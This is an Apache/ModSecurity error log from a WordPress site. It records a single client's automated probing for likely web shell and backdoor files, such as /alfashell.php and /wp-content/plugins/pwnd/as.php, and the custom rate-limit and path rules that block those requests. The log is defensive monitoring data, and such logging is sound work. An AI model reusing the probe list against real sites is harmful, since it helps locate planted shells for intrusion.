[Sat Apr 25 18:22:08.832331 2026] [:error] [pid 16107:tid 16138] [client 4.232.187.202:6948] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyV0NIfF7Hy3tw0sYRgigAAAIE"]
[Sat Apr 25 18:22:09.361490 2026] [:error] [pid 16195:tid 16216] [client 4.232.187.202:7015] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyV0TVPLvrpvXaNQOkIbwAAABI"]
[Sat Apr 25 18:22:09.855945 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7162] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyV0dIfF7Hy3tw0sYRgmgAAAII"]
[Sat Apr 25 18:22:10.363168 2026] [:error] [pid 16195:tid 16216] [client 4.232.187.202:6856] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyV0jVPLvrpvXaNQOkIhwAAABI"]
[Sat Apr 25 18:22:10.862291 2026] [:error] [pid 16195:tid 16220] [client 4.232.187.202:6794] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyV0jVPLvrpvXaNQOkIiAAAABY"]
[Sat Apr 25 18:22:11.327428 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6919] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aeyV0zVPLvrpvXaNQOkIigAAAAE"]
[Sat Apr 25 18:22:11.796310 2026] [:error] [pid 16106:tid 16111] [client 4.232.187.202:6956] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyV0yGjdEsrWF7e-7MXkAAAAEE"]
[Sat Apr 25 18:22:12.298010 2026] [:error] [pid 16107:tid 16146] [client 4.232.187.202:6934] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyV1NIfF7Hy3tw0sYRgpQAAAIk"]
[Sat Apr 25 18:22:12.838289 2026] [:error] [pid 16108:tid 16189] [client 4.232.187.202:6943] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyV1IbPF4HSQDj6WrladgAAANc"]
[Sat Apr 25 18:22:13.334008 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6866] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/l10n/"] [unique_id "aeyV1TVPLvrpvXaNQOkIkwAAAAY"]
[Sat Apr 25 18:22:13.812225 2026] [:error] [pid 16195:tid 16220] [client 4.232.187.202:6872] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aeyV1TVPLvrpvXaNQOkIlAAAABY"]
[Sat Apr 25 18:22:14.278837 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:6880] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aeyV1tIfF7Hy3tw0sYRgqQAAAIs"]
[Sat Apr 25 18:22:14.745282 2026] [:error] [pid 16195:tid 16214] [client 4.232.187.202:7014] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aeyV1jVPLvrpvXaNQOkImgAAABA"]
[Sat Apr 25 18:22:15.215616 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6957] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aeyV1zVPLvrpvXaNQOkInAAAAAk"]
[Sat Apr 25 18:22:15.714057 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:7085] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeyV1zVPLvrpvXaNQOkIowAAABc"]
[Sat Apr 25 18:22:16.242329 2026] [:error] [pid 16195:tid 16216] [client 4.232.187.202:6905] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeyV2DVPLvrpvXaNQOkIpwAAABI"]
[Sat Apr 25 18:22:16.771867 2026] [:error] [pid 16195:tid 16213] [client 4.232.187.202:6917] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeyV2DVPLvrpvXaNQOkIrQAAAA8"]
[Sat Apr 25 18:22:17.300088 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:7023] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aeyV2TVPLvrpvXaNQOkIsQAAAAc"]
[Sat Apr 25 18:22:17.828058 2026] [:error] [pid 16106:tid 16123] [client 4.232.187.202:6896] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeyV2SGjdEsrWF7e-7MXrQAAAE0"]
[Sat Apr 25 18:22:18.327626 2026] [:error] [pid 16106:tid 16115] [client 4.232.187.202:6877] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeyV2iGjdEsrWF7e-7MXsQAAAEU"]
[Sat Apr 25 18:22:18.802402 2026] [:error] [pid 16106:tid 16116] [client 4.232.187.202:6927] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeyV2iGjdEsrWF7e-7MXtgAAAEY"]
[Sat Apr 25 18:22:19.269142 2026] [:error] [pid 16107:tid 16155] [client 4.232.187.202:6882] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/fi.php"] [unique_id "aeyV29IfF7Hy3tw0sYRgtAAAAJI"]
[Sat Apr 25 18:22:19.734849 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:6879] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyV2zVPLvrpvXaNQOkItgAAABM"]
[Sat Apr 25 18:22:20.199372 2026] [:error] [pid 16107:tid 16161] [client 4.232.187.202:6908] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyV3NIfF7Hy3tw0sYRgtgAAAJg"]
[Sat Apr 25 18:22:20.664904 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:6853] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyV3IbPF4HSQDj6WrlapQAAANM"]
[Sat Apr 25 18:22:21.136292 2026] [:error] [pid 16108:tid 16178] [client 4.232.187.202:6900] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyV3YbPF4HSQDj6WrlaqAAAAMw"]
[Sat Apr 25 18:22:21.632423 2026] [:error] [pid 16106:tid 16125] [client 4.232.187.202:6961] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeyV3SGjdEsrWF7e-7MXvgAAAE8"]
[Sat Apr 25 18:22:22.130778 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6965] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeyV3jVPLvrpvXaNQOkIugAAAAI"]
[Sat Apr 25 18:22:22.600275 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:6811] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeyV3obPF4HSQDj6WrlarwAAAMk"]
[Sat Apr 25 18:22:23.105699 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:6952] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeyV3zVPLvrpvXaNQOkIvwAAABM"]
[Sat Apr 25 18:22:23.620868 2026] [:error] [pid 16107:tid 16158] [client 4.232.187.202:6868] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyV39IfF7Hy3tw0sYRgzgAAAJU"]
[Sat Apr 25 18:22:34.164280 2026] [:error] [pid 16107:tid 16158] [client 4.232.187.202:6898] [client 4.232.187.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeyV6tIfF7Hy3tw0sYRhBAAAAJU"]
[Sat Apr 25 18:22:37.966449 2026] [autoindex:error] [pid 16195:tid 16214] [client 4.232.187.202:6796] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:22:38.244097 2026] [autoindex:error] [pid 16195:tid 16212] [client 4.232.187.202:6796] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Apr 25 18:22:46.186688 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:6796] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyV9jVPLvrpvXaNQOkJCgAAAA0"]
[Sat Apr 25 18:22:46.718420 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6818] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyV9jVPLvrpvXaNQOkJDAAAAAY"]
[Sat Apr 25 18:22:47.261757 2026] [:error] [pid 16108:tid 16173] [client 4.232.187.202:7025] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyV94bPF4HSQDj6Wrla-wAAAMc"]
[Sat Apr 25 18:22:47.761374 2026] [:error] [pid 16195:tid 16218] [client 4.232.187.202:6785] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/admin.php"] [unique_id "aeyV9zVPLvrpvXaNQOkJEAAAABQ"]
[Sat Apr 25 18:22:48.296922 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:6944] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyV-DVPLvrpvXaNQOkJFAAAAA4"]
[Sat Apr 25 18:22:48.798181 2026] [:error] [pid 16106:tid 16118] [client 4.232.187.202:6894] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyV-CGjdEsrWF7e-7MX-AAAAEg"]
[Sat Apr 25 18:22:49.298318 2026] [:error] [pid 16195:tid 16210] [client 4.232.187.202:6789] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyV-TVPLvrpvXaNQOkJFQAAAAw"]
[Sat Apr 25 18:22:49.828064 2026] [:error] [pid 16106:tid 16122] [client 4.232.187.202:6733] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aeyV-SGjdEsrWF7e-7MX-wAAAEw"]
[Sat Apr 25 18:22:50.360852 2026] [:error] [pid 16195:tid 16206] [client 4.232.187.202:6833] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyV-jVPLvrpvXaNQOkJGAAAAAg"]
[Sat Apr 25 18:22:50.861912 2026] [:error] [pid 16106:tid 16121] [client 4.232.187.202:6972] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyV-iGjdEsrWF7e-7MYAAAAAEs"]
[Sat Apr 25 18:22:51.329792 2026] [:error] [pid 16195:tid 16215] [client 4.232.187.202:6795] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyV-zVPLvrpvXaNQOkJHwAAABE"]
[Sat Apr 25 18:22:51.835596 2026] [:error] [pid 16195:tid 16213] [client 4.232.187.202:6920] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aeyV-zVPLvrpvXaNQOkJJAAAAA8"]
[Sat Apr 25 18:22:52.372926 2026] [:error] [pid 16106:tid 16128] [client 4.232.187.202:6940] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyV_CGjdEsrWF7e-7MYBwAAAFI"]
[Sat Apr 25 18:22:52.879478 2026] [:error] [pid 16195:tid 16215] [client 4.232.187.202:6885] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyV_DVPLvrpvXaNQOkJLgAAABE"]
[Sat Apr 25 18:22:53.358754 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:6892] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyV_TVPLvrpvXaNQOkJMQAAABc"]
[Sat Apr 25 18:22:53.836574 2026] [:error] [pid 16195:tid 16212] [client 4.232.187.202:6805] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/axx.php"] [unique_id "aeyV_TVPLvrpvXaNQOkJNwAAAA4"]
[Sat Apr 25 18:22:54.301734 2026] [:error] [pid 16108:tid 16184] [client 4.232.187.202:6932] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyV_obPF4HSQDj6WrlbDwAAANI"]
[Sat Apr 25 18:22:54.797393 2026] [:error] [pid 16108:tid 16169] [client 4.232.187.202:6897] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyV_obPF4HSQDj6WrlbEQAAAMU"]
[Sat Apr 25 18:22:55.298225 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:6865] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyV_9IfF7Hy3tw0sYRhHQAAAJM"]
[Sat Apr 25 18:22:55.803518 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:6962] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfashell.php"] [unique_id "aeyV_zVPLvrpvXaNQOkJQgAAAAc"]
[Sat Apr 25 18:22:56.304693 2026] [:error] [pid 16108:tid 16179] [client 4.232.187.202:6861] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyWAIbPF4HSQDj6WrlbGAAAAM0"]
[Sat Apr 25 18:22:56.781862 2026] [:error] [pid 16106:tid 16121] [client 4.232.187.202:6836] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "aeyWACGjdEsrWF7e-7MYDQAAAEs"]
